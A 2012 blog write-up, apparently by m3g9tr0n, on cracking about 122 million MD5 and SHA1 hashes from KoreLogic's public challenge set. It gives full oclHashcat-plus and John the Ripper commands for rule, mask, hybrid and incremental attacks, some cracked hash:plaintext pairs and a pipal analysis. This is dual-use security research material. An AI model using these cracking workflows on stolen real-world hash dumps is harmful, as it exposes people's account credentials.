<p><em>It was several months ago, when I (<a href="https://twitter.com/m3g9tr0n?ref=blog.thireus.com" title="m3g9tr0n on Twitter">m3g9tr0n</a>) saw a tweet from <a href="https://www.korelogic.com/?ref=blog.thireus.com" title="KoreLogic, Inc., Security Services">KoreLogic</a> about a <a href="https://www.korelogic.com/InfoSecSouthwest2012_Ripe_Hashes.html?ref=blog.thireus.com" title="InfoSecSouthwest2012_Ripe_Hashes.tgz.torrent">torrent file</a> containing various hash lists of passwords for a total of</em></p>]]></description><link>https://blog.thireus.com/cracking-story-how-i-cracked-over-122-million-sha1-and-md5-hashed-passwords/</link><guid isPermaLink="false">61bdd4ddd17dfdc8c2b7b971</guid><category><![CDATA[AMD]]></category><category><![CDATA[analysis]]></category><category><![CDATA[ATI]]></category><category><![CDATA[bruteforce]]></category><category><![CDATA[CCNP]]></category><category><![CDATA[CPU]]></category><category><![CDATA[cracking]]></category><category><![CDATA[download]]></category><category><![CDATA[entr0py]]></category><category><![CDATA[GPU]]></category><category><![CDATA[hash]]></category><category><![CDATA[hashcat]]></category><category><![CDATA[hashes]]></category><category><![CDATA[InfoSecSouthwest2012]]></category><category><![CDATA[john]]></category><category><![CDATA[John the Ripper]]></category><category><![CDATA[KoreLogic]]></category><category><![CDATA[m3g9tr0n]]></category><category><![CDATA[MD5]]></category><category><![CDATA[million]]></category><category><![CDATA[oclHashcat-plus]]></category><category><![CDATA[OpenCL]]></category><category><![CDATA[password]]></category><category><![CDATA[raw-md5]]></category><category><![CDATA[raw-sha1]]></category><category><![CDATA[SHA1]]></category><category><![CDATA[split]]></category><category><![CDATA[torrent]]></category><category><![CDATA[wordlist]]></category><dc:creator><![CDATA[Thireus]]></dc:creator><pubDate>Tue, 28 Aug 2012 19:45:33 GMT</pubDate><media:content url="https://blog.thireus.com/content/images/2019/10/password-cracking-by-m3g9tr0n.jpg" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><blockquote>
<img src="https://blog.thireus.com/content/images/2019/10/password-cracking-by-m3g9tr0n.jpg" alt="Cracking Story - How I Cracked Over 122 Million SHA1 and MD5 Hashed Passwords"><p>This is the story about how I cracked 122 million<span style="color: #ff0000;"><a href="#CLEANED" title="Jump to the explanation of this big number!"><span style="color: #ff0000;">*</span></a></span> password hashes with John the Ripper and oclHashcat-plus.</p>
</blockquote>
<p><span style="color: #888888;">Author: m3g9tr0n, Copy Editor: Thireus.</span></p>
<p><em>It was several months ago, when I (<a href="https://twitter.com/m3g9tr0n?ref=blog.thireus.com" title="m3g9tr0n on Twitter">m3g9tr0n</a>) saw a tweet from <a href="https://www.korelogic.com/?ref=blog.thireus.com" title="KoreLogic, Inc., Security Services">KoreLogic</a> about a <a href="https://www.korelogic.com/InfoSecSouthwest2012_Ripe_Hashes.html?ref=blog.thireus.com" title="InfoSecSouthwest2012_Ripe_Hashes.tgz.torrent">torrent file</a> containing various hash lists of passwords for a total of <strong>146 million passwords</strong>. This very big amount of password hashes at first discouraged me, as I only own a classic computer configuration with an AMD Phenom II 4 cores at 3,2 Mhz in addition to an ATI/AMD 5770 graphics card. But I really wanted to give it a try because the field of password cracking fascinates me.</em></p>
<p>The password cracking tools I used during this long trip were <a href="http://www.openwall.com/john/?ref=blog.thireus.com" title="John the Ripper password cracker">John the Ripper</a> and <a href="http://hashcat.net/oclhashcat-plus/?ref=blog.thireus.com" title="oclHashcat-plus - advanced password recovery">oclHashcat-plus</a>. This article is about cracking the provided MD5 hashes of <a href="https://www.korelogic.com/?ref=blog.thireus.com" title="KoreLogic, Inc., Security Services">KoreLogic</a> only, but the same strategy was also applied to the SHA1 hashes.</p>
<p><span style="text-decoration: underline; color: #008000;">Updates:</span></p>
<ul>
<li>08/29/2012 &#x2013; <a href="#DoubleMD5" title="Jump to this new example!">New example</a> in the John the Ripper section: &quot;Crack double MD5 hashes with the help of <strong>dict2hash.pl</strong> script&quot;</li>
<li>08/29/2012 &#x2013; <a href="#CLEANED" title="All in one CLEANED version of m3g9tr0n Wordlists!">New download</a>! All in one sorted and cleaned version.</li>
</ul>
<h4 id="dealingwithhashes">Dealing with hashes...</h4>
<p>First of all the <a href="https://www.korelogic.com/?ref=blog.thireus.com" title="KoreLogic, Inc., Security Services">KoreLogic</a> <a href="https://www.korelogic.com/InfoSecSouthwest2012_Ripe_Hashes.html?ref=blog.thireus.com" title="InfoSecSouthwest2012_Ripe_Hashes.tgz.torrent">torrent file</a> file must be decompressed, it contains a folder named &quot;hashes&quot;. Let&apos;s check the content of this folder...</p>
<pre><code>root@m3g9tr0n:~/hashes$ ls
longer_salts  raw-md5.hashes.txt  salted_with_md5  SHA1  vBulletin-v3.8.4
</code></pre>
<p>We will concentrate from now on the <strong>raw-md5.hashes.txt</strong> list. This file is <strong>4.3 GB</strong> and includes 139444502 lines according to the <strong>wc</strong> utility.</p>
<pre><code>root@m3g9tr0n:~/hashes$ wc -l raw-md5.hashes.txt 
139444502 raw-md5.hashes.txt
</code></pre>
<p>As you can assume, both <a href="http://www.openwall.com/john/?ref=blog.thireus.com" title="John the Ripper password cracker">John the Ripper</a> and <a href="http://hashcat.net/oclhashcat-plus/?ref=blog.thireus.com" title="oclHashcat-plus - advanced password recovery">oclHashcat-plus</a> are not able to load this file because it is too big. For that reason, we need to <strong>split</strong> this file. Under Linux we have a nice utility called <a href="http://unixhelp.ed.ac.uk/CGI/man-cgi?split=&amp;ref=blog.thireus.com" title="UNIX man pages : split ()">split</a> that does this job very well:</p>
<pre><code>root@m3g9tr0n:~$ split --help
Usage: split [OPTION]... [INPUT [PREFIX]]
Output fixed-size pieces of INPUT to PREFIXaa, PREFIXab, ...; default
size is 1000 lines, and default PREFIX is `x&apos;.  With no INPUT, or when INPUT
is -, read standard input.
 
Mandatory arguments to long options are mandatory for short options too.
  -a, --suffix-length=N   use suffixes of length N (default 2)
  -b, --bytes=SIZE        put SIZE bytes per output file
  -C, --line-bytes=SIZE   put at most SIZE bytes of lines per output file
  -d, --numeric-suffixes  use numeric suffixes instead of alphabetic
  -l, --lines=NUMBER      put NUMBER lines per output file
      --verbose           print a diagnostic just before each
                            output file is opened
      --help     display this help and exit
      --version  output version information and exit
 
SIZE may be (or may be an integer optionally followed by) one of following:
KB 1000, K 1024, MB 1000*1000, M 1024*1024, and so on for G, T, P, E, Z, Y.
</code></pre>
<p>We can use the <code>--lines=NUMBER</code> parameter to split our <strong>raw-md5.hashes.txt</strong> file.</p>
<pre><code>root@m3g9tr0n:~/hashes$ split -l 3000000 raw-md5.hashes.txt part
</code></pre>
<p>Note that we can also split the file based on the amount of MBs by taking into consideration that each MD5 hash is 32 bytes long.</p>
<h4 id="crackingpasswordswithoclhashcatplus">Cracking Passwords with oclHashcat-plus</h4>
<p>I started playing with <a href="http://hashcat.net/oclhashcat-plus/?ref=blog.thireus.com" title="oclHashcat-plus - advanced password recovery">oclHashcat-plus</a> because it contains the <strong>-remove</strong> option, which removes the hashes from the <em>hashfile</em> once it is cracked and it is really convenient. The only limitation oclHashcat-plus has, is the constraint on password length. In other words, it is only able to crack passwords up to 15 characters. The rules that I used for oclHashcat-plus are <strong>base64.rule</strong>, <strong>passwordspro.rule</strong>, <strong>T0XlC.rule</strong> and in some cases <strong>d3ad0ne.rule</strong>. There rules can be found directly from the oclHashcat-plus suite.</p>
<p>Bruteforce techniques were not my first choice. I used wordlists which I downloaded from the <a href="http://g0tmi1k.blogspot.gr/2011/06/dictionaries-wordlists.html?ref=blog.thireus.com" title="[Analysis] Dictionaries &amp; Wordlists">g0tm1lk&apos;s blogspot</a>. You will find on g0tmi1k&apos;s article other external links for more wordlists. The biggest part of cracking process was done by using these wordlists with the rules mentioned above. Let&apos;s see some examples...</p>
<p><strong>Using a single rule:</strong></p>
<pre><code>./oclHashcat-plus64.bin -m 0 ~/hashes/md5_1 ~/Wordlists/d3ad0ne.dic -r rules/best64.rule -o Ultimate_Crack/eNtr0pY_1 --remove
</code></pre>
<p><strong>Using Rules&apos; combination:</strong></p>
<pre><code>./oclHashcat-plus64.bin -m 0 ~/hashes/md5_1 ~/Wordlists/d3ad0ne.dic -r rules/best64.rule r rules/passwordspro.rule -o Ultimate_Crack/eNtr0pY_1 --remove
</code></pre>
<p><strong>Bruteforce attack with mask (you can specify whichever charset you want):</strong></p>
<pre><code>./oclHashcat-plus64.bin -a 3 -1 ?l?d?u?s -m 0 ~/hashes/md5_1 ?1?1?1?1?1?1?1?1 -o Ultimate_Crack/eNtr0pY_1 --remove
</code></pre>
<p><strong>Combination attack:</strong></p>
<pre><code>./oclHashcat-plus64.bin -a 1 -m 0 ~/hashes/md5_1 ~/Wordlists/d3ad0ne.dic ~/Wordlists/list -o Ultimate_Crack/eNtr0pY_1 --remove
</code></pre>
<p><strong>Combination attack with rules:</strong></p>
<pre><code>./oclHashcat-plus64.bin -a 1 -m 0 ~/hashes/md5_1 ~/Wordlists/d3ad0ne.dic ~/Wordlists/list -r rules/passwordspro.rule -o Ultimate_Crack/eNtr0pY_1 --remove
</code></pre>
<p><strong>Permutation attack:</strong></p>
<pre><code>./oclHashcat-plus64.bin -a 4 -m 0 ~/hashes/md5_1 ~/Wordlists/d3ad0ne.dic -o Ultimate_Crack/eNtr0pY_1 --remove
</code></pre>
<p><strong>Permutation attack with rules:</strong></p>
<pre><code>./oclHashcat-plus64.bin -a 4 -m 0 ~/hashes/md5_1 ~/Wordlists/d3ad0ne.dic -r rules/best64.rule -o Ultimate_Crack/eNtr0pY_1 --remove
</code></pre>
<p><strong>In some cases, I used the <a href="http://hashcat.net/wiki/doku.php?id=hybrid_attack&amp;ref=blog.thireus.com" title="Hybrid Attack">hybrid</a> + <a href="http://hashcat.net/wiki/doku.php?id=mask_attack&amp;ref=blog.thireus.com" title="Mask Attack">mask</a> attack technique:</strong></p>
<pre><code>./oclHashcat-plus64.bin -a 6 -1 ?l?d -m 0 ~/hashes/md5_1 ~/Wordlists/d3ad0ne.dic ?1?1 -o Ultimate_Crack/eNtr0pY_1 --remove
</code></pre>
<p><strong><a href="http://hashcat.net/wiki/doku.php?id=hybrid_attack&amp;ref=blog.thireus.com" title="Hybrid Attack">Hybrid</a> + <a href="http://hashcat.net/wiki/doku.php?id=mask_attack&amp;ref=blog.thireus.com" title="Mask Attack">mask</a> attack with rules:</strong></p>
<pre><code>./oclHashcat-plus64.bin -a 6 -1 ?l?d -m 0 ~/hashes/md5_1 ~/Wordlists/d3ad0ne.dic ?1?1 -r rules/best64.rule -o Ultimate_Crack/eNtr0pY_1 --remove
</code></pre>
<p>At this point, I did not use these last two methods as they were very time consuming. I rather found a better one using <a href="http://contest-2010.korelogic.com/rules.html?ref=blog.thireus.com" title="KoreLogic John the Ripper Rules">KoreLogic&apos;s Rules</a> for <a href="http://www.openwall.com/john/?ref=blog.thireus.com" title="John the Ripper password cracker">John the Ripper</a> by piping the output of John the Ripper to oclHashcat-plus. As I mentioned, oclHashcat-plus is able to crack passwords up to 15 characters. For that reason, I had to define every time, via the <code>--stdout</code> option, the length of the produced word. If you own a very fast GPU you can skip the following example.</p>
<pre><code>./john --wordlist=~/Wordlists/all.lst -rules:KoreLogicRulesPrependYears --stdout=10 | ./oclHashcat-plus64.bin -m 0 ~/hashes/md5_1 -o Ultimate_Crack/eNtr0pY_1 --remove
</code></pre>
<p><em>Of course you can use other prepend rules created from Korelogic, like KoreLogicRulesPrependNumNum, or even better create your own rules!</em></p>
<p>It was time to produce a wordlist from the cracked passwords and use it to crack the remaining hashes. From eNtr0pY_1, I removed the MD5 hashes with the following command.</p>
<pre><code>cut -b34- eNtr0pY_1 &gt; eNtr0pY_1.dic
</code></pre>
<p>By using the above produced wordlist, a big amount of MD5 hashes were cracked using the <a href="https://www.question-defense.com/2010/08/15/automated-password-cracking-use-oclhashcat-to-launch-a-fingerprint-attack?ref=blog.thireus.com" title="Automated Password Cracking: Use oclHashcat To Launch A Fingerprint Attack">fingerprint attack</a>. You can read more about this attack from Martin Bos <a href="https://twitter.com/purehate_?ref=blog.thireus.com" title="Martin Bos">@purehate</a> and I guarantee you that this technique is very successful!</p>
<p>Of course you can also use the binaries included into <a href="http://hashcat.net/wiki/hashcat_utils?ref=blog.thireus.com" title="hashcat-utils">hashcat-utils</a> and pipe the output of each util to oclHashcat-plus.</p>
<pre><code>root@m3g9tr0n:~/oclHashcat-plus-0.08/hashcat-utils$ ls
combinator.bin&#xA0; expander.bin&#xA0; gate.bin&#xA0; len.bin&#xA0; mp32.bin&#xA0; permute.bin&#xA0; prepare.bin&#xA0; req.bin&#xA0; splitlen.bin
</code></pre>
<h4 id="crackingpasswordswithjohntheripper">Cracking Passwords with John the Ripper</h4>
<p><em>After testing all my wordlist collection and after several days, it was time to move to John the Ripper for cracking the rest of password hashes...</em></p>
<p>I used <a href="https://github.com/magnumripper/magnum-jumbo?ref=blog.thireus.com" title="magnumripper/magnum-jumbo">magnum-ripper</a> compiled with <a href="https://en.wikipedia.org/wiki/OpenCL?ref=blog.thireus.com" title="OpenCL">OpenCL</a> for ATI/AMD graphics card because I wanted to use the <code>--format=raw-md5-opencl</code> parameter. Compared to <code>--format=raw-md5</code>, it is way faster as it uses your CPU and GPU!</p>
<p>The Rules that were used with John the Ripper are:</p>
<ul>
<li>wordlist</li>
<li>Single</li>
<li>NT</li>
<li>Extra</li>
<li>KoreLogicRulesAppendNumbers_and_Specials_Simple</li>
<li>KoreLogicRulesAppend6Num</li>
<li>KoreLogicRulesPrependAndAppendSpecial</li>
<li>KoreLogicRulesAppendNumNum_AddSpecialEverywhere</li>
<li>KoreLogicRulesAppendNumNumNum_AddSpecialEverywhere</li>
<li>KoreLogicRulesL33t.</li>
</ul>
<p>You can download these rules and add them to your <strong>john.conf</strong> file:</p>
<ul>
<li><a href="http://paste2.org/p/2048517?ref=blog.thireus.com" title="m3g9tr0n Rules 1">http://paste2.org/p/2048517</a></li>
<li><a href="http://paste2.org/p/2048512?ref=blog.thireus.com" title="m3g9tr0n Rules 2">http://paste2.org/p/2048512</a></li>
</ul>
<h6 id="letsseenowsomeexampleswithjohntheripper">Let&#x2019;s see now some examples with John the Ripper...</h6>
<p><strong>Using <code>--rules=Single</code>:</strong></p>
<pre><code>./john --format=raw-md5-opencl --wordlist=../../Wordlists/all.lst --rules:Single ~/hashes/md5_1
</code></pre>
<p>The results of cracked hashes are stored in the <strong>john.pot</strong> file by default. You can examine its contents with <code>cat</code>, <code>more</code>, <code>head</code> and <code>tail</code>.</p>
<pre><code>root@m3g9tr0n:~/Tools/Password_Cracking/magnum-jumbo-OpenCL/run$ tail -n 9 john.pot 
$MD5$0fad81e7a61b47d387dde893fcf8e88a:anacarolinagu
$MD5$0f82fc9a81f5db07eb9289767390fd2b:fabulousfoodsu
$MD5$0e22933267b2e7df062703c4e5842029:fabuloustravelu
$MD5$0d40086a54fefe993c9816d1441672ac:modularhomeu
$MD5$0ed8181fc4d18e260dd8e36633124bfd:greenshoppingu
$MD5$0d6e8da4017ec5c384ac5536087da44d:lawofattractionu
$MD5$0eb916d3c6a66a32cedd4acc6edb1dbb:hotreportu
$MD5$0e241f99b5c13d56686ec618ab54d5fa:flightsandholidaysu
$MD5$0f3c99478362aae389d2cbf716394269:stthomasmoresu
</code></pre>
<p>To generate a wordlist from the <strong>john.pot</strong> file, you can use the following command.</p>
<pre><code>cut -d: -f 2- john.pot | sort -u &gt; cracked.dic
</code></pre>
<p>The generated wordlist can be used to crack more hashes when combined with the abovementioned rules.</p>
<p>When I was cracking MD5 hashes with oclHashcat-plus, I observed that some produced passwords were rejected. This is because oclHashcat-plus has a limitation about characters&apos; length. For that reason, I piped hashcat&apos;s output to John the Ripper with the additional advantage of using hashcat rules with John the Ripper.</p>
<pre><code>./hashcat-cli64.bin --stdout ~/Wordlists/d3ad0ne.dic -r rules/best64.rule | ./john --format=raw-md5-opencl --stdin ~/hashes/md5_1
</code></pre>
<p>After trying all the wordlists combined with the rules mentioned above, it was time to move to bruteforce attacks with John the Ripper. Unfortunately, John the Ripper does not use the <strong>mask attacks</strong> to produce passwords when implementing bruteforce attacks. We have to create our own charset based on cracked passwords contained in <strong>john.pot</strong>.</p>
<pre><code>./john --make-charset=eNtr0pY.chr
Loaded 7948325 plaintexts
Generating charsets... 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 DONE
Generating cracking order... DONE
Successfully written charset file: eNtr0pY.chr (95 characters)
</code></pre>
<p>Many of you will wonder about &quot;31 DONE&quot;... This is just because I compiled John the Ripper with 31 characters length. By default, John the Ripper is compiled with support for up to 8 characters length, so it is best to change it by modifying the following lines of the header file <strong>params.h</strong> located in the <strong>scr</strong> folder of John the Ripper.</p>
<pre><code>#define CHARSET_MIN&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &apos; &apos;
#define CHARSET_MAX&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; 0x7E
#define CHARSET_SIZE&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; (CHARSET_MAX - CHARSET_MIN + 1)
#define CHARSET_LENGTH&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; 8 //Change that to 31 or whatever you wish
</code></pre>
<p>At last you have to include your created charset to <strong>john.conf</strong> as provided in this example:</p>
<pre><code># Incremental modes
[Incremental:eNtr0pY]
File = $JOHN/eNtr0pY.chr
MinLen = 0
MaxLen = 31
CharCount = 95
</code></pre>
<p>Now it is time to use bruteforce attacks with our own charstet!</p>
<pre><code>./john --format=raw-md5-opencl --incremental=eNtr0pY ~/hashes/md5_1
</code></pre>
<p>If you look into <strong>john.conf</strong> you will see some bruteforce attack modes categorized as externals. These are Double, Strip, Keyboard (which uses neighbor combinations produced from keyboard characters), KnownForce, DateTime, Repeats, Sequence, Subsets and DumbForce for crazy password formats.</p>
<pre><code>./john --format=raw-md5-opencl --external=DumbForce ~/hashes/md5_1
</code></pre>
<p>We would also like to crack double MD5 hashes with the help of the <strong>dict2hash.pl</strong> script provided <a href="http://hashcat.net/misc/dict2hash.pl?ref=blog.thireus.com" title="dict2hash.pl">here</a>.</p>
<pre><code>perl dict2hash.pl &lt; rockyou.txt | ./john --format=raw-md5-opencl --stdin ~/md5_1
</code></pre>
<p>Here you can see some samples of cracked MD5s with John the Ripper:</p>
<ul>
<li><a href="http://pastebin.com/uaGFXkBA?ref=blog.thireus.com" title="m3g9tr0n cracked sample MD5 hashes 1">http://pastebin.com/uaGFXkBA</a></li>
<li><a href="http://pastebin.com/LT5Gda9L?ref=blog.thireus.com" title="m3g9tr0n cracked sample MD5 hashes 1">http://pastebin.com/LT5Gda9L</a></li>
</ul>
<p>Personally, I believe a password like &quot;<strong>$MD5$0b26a0faf1344d6e772bf55628e10e29:n34=mn { .clipboard $me }</strong>&quot; is impossible to crack with bruteforce attacks.</p>
<p><span style="text-decoration: underline;"><strong>Note</strong>:</span> All the abovementioned techniques can be used with oclHashcat-plus by defining <code>-m 100</code> and with John the Ripper by defining <code>--format=raw-sha1-opencl</code> for SHA1 cracking with OpenCL!</p>
<h2 id="passwordanalysis">Password Analysis</h2>
<p><em>Finally, it worths to see an analysis using <a href="http://www.digininja.org/projects/pipal.php?ref=blog.thireus.com" title="Pipal, a password analyser">pipal</a> (a password analyser) of a collected sample generated from cracking results.</em></p>
<pre><code>root@m3g9tr0n:~/pipal$ ruby1.9.1 pipal.rb \
-o eNtr0pY_1 ~/Wordlists/Ultimate/Part1/eNtr0pY_5.dic
Total entries = 759103
Total unique entries = 758299
&#xA0;
Top 10 passwords
niezgadniesz123 = 3 (0.0%)
ubqu = 3 (0.0%)
amonys = 3 (0.0%)
centralitie = 3 (0.0%)
bobydu = 3 (0.0%)
hanghuynh = 3 (0.0%)
hmadyousi = 3 (0.0%)
matthewperman = 3 (0.0%)
shadowninja2 = 3 (0.0%)
lhz4 = 3 (0.0%)
&#xA0;
Top 10 base words
august = 219 (0.03%)
july = 205 (0.03%)
april = 199 (0.03%)
june = 195 (0.03%)
march = 165 (0.02%)
alex = 161 (0.02%)
love = 132 (0.02%)
chris = 130 (0.02%)
daniel = 128 (0.02%)
dragon = 122 (0.02%)
&#xA0;
Password length (length ordered)
1 = 13 (0.0%)
2 = 103 (0.01%)
3 = 1332 (0.18%)
4 = 16781 (2.21%)
5 = 19831 (2.61%)
6 = 95800 (12.62%)
7 = 202414 (26.66%)
8 = 158562 (20.89%)
9 = 103855 (13.68%)
10 = 75652 (9.97%)
11 = 46023 (6.06%)
12 = 24997 (3.29%)
13 = 8423 (1.11%)
14 = 3772 (0.5%)
15 = 1560 (0.21%)
&#xA0;
Password length (count ordered)
7 = 202414 (26.66%)
8 = 158562 (20.89%)
9 = 103855 (13.68%)
6 = 95800 (12.62%)
10 = 75652 (9.97%)
11 = 46023 (6.06%)
12 = 24997 (3.29%)
5 = 19831 (2.61%)
4 = 16781 (2.21%)
13 = 8423 (1.11%)
14 = 3772 (0.5%)
15 = 1560 (0.21%)
3 = 1332 (0.18%)
2 = 103 (0.01%)
1 = 13 (0.0%)
&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;|&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; 
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;|&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; 
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;|&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; 
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;||&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; 
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;||&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; 
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;||&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; 
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;||&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; 
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;|||&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; 
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;||||&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; 
